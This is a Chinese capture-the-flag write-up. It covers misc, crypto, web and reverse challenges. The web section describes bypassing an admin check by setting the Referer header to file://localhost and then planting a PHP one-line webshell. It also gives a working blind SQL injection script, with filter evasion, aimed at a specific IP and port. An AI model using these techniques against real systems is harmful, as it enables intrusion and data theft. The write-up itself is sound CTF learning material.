MISC
题目:瞅啥
打开是图片,binwalk -e 分解出zip压缩包,有密码
用010打开修改图片高度得到解压密码aptx4869
题目:traffic
打开后发现ICMP协议下方不对劲,有hahaha加一堆a,过滤ICMP,量不多,自己手写,估计是提取后转ascii,
写代码爆破ascii,出flag
a=[144,150,139,145,165,91,109,151,122,113,106,119,93,167]
for i in range(-90,1):
flag=''
for j in a:
flag += chr(i+j)
print(flag)
Crypto
题目:变异凯撒
115!111!111!155!1!515!1511!151511!15555!11555!15555!5515!15555!5515!15555!55551!11555!
55551!11555!55111!11555!11115!55111!51111!55555!5515!15555!5515!15555!11111!11555!5555
1!55551!1555!55555!11155!55555!1555!15555!11155!55555!55555!15555!55555!15555!55555!55
555!11111!15555!15555!55555!11111!55555!51111!55551!5!15555!11111!55555!55551!55555!11
115!55555!11555!15555!55555
将1替换- 5替换. !替换/ ,出。后面那串拿去base16解码,最后那串又是爆破ascii,出flag
GOODTRY!676F6F64747279215F6F60744B585B68556565506650514E6054595765
goodtry!_o`tKX[hUeePfPQN`TYWe
c = r"_o`tKX[hUeePfPQN`TYWe"
for move in range(-10,1):
flag = ""
for i in c:
flag += chr(ord(i) + move)
move += 1
print(flag)
Web
题目:Getshell
访问靶机后,可通过源代码进行审计发现漏洞。$url变量解析Refer头,结合parse_url文档,将Referer改为
file://localhost 即可作为admin登录
在此基础上,将一句话木马写入content参数,访问admin.php。成功写入,连接蚁剑出flag
题目:必考题
sql注入题,检查参数后,发现只有uname可以注入(尝试过程:在uname中可以通过语句 ’ or false # 来控
制显示用户名是否存在,而pwd字段无论如何都是password error)。使用burpsuite扫描后发现,
select/union/空格等内容被过滤。空格可以使用%0b进行绕过。由于用户名和密码在同一表内,因此可以使用
盲注获取密码 登陆即可得到flag
import requests
headers = {
"Content-Type":"application/x-www-form-urlencoded"
}
# 设置了请求头的情况:
table_name_dict = list(range(ord('a'),ord('z') + 1))
table_name_dict.extend(list(range(ord('A'),ord('Z') + 1)))
table_name_dict = list(map(chr,table_name_dict))
table_name_dict.extend(["-","_"])
password_dict = table_name_dict
password_dict.extend("!@#$%^&U()_+{}[]:.1234567890")
pwd = ""
for i in password_dict:
r =
requests.post("http://39.108.16.209:50001/",f"pwd=1&uname=admin'%0b%26%26left(pwd,
{len(pwd) + 1})%3d'{pwd}{i}'%23",headers=headers).text
if(r.find("user") == -1):
print(i,pwd)
print(r)
pwd += r
break
# print(i,r)
Reverse
题目:ez_re
使用IDA打开发现大量花指令
经过查找,在sub_4006C0函数内可发现加密结果。如下图所示,若值与7;
<73ief0hg:g07e5d0;73i038h7i5;feddi相同,即为flag考虑到代码中最终传递给比较函数的参数为v14,在代码中寻找与v14写入相关的函数为可初步分析其为仅作了3位的偏移,脚本如下:
x="7;<73ief0hg:g07e5d0;73i038h7i5;feddi"
flag=''
for i in x:
i=ord(i)
i=chr(i-3)
flag+=i
print(flag)
评论区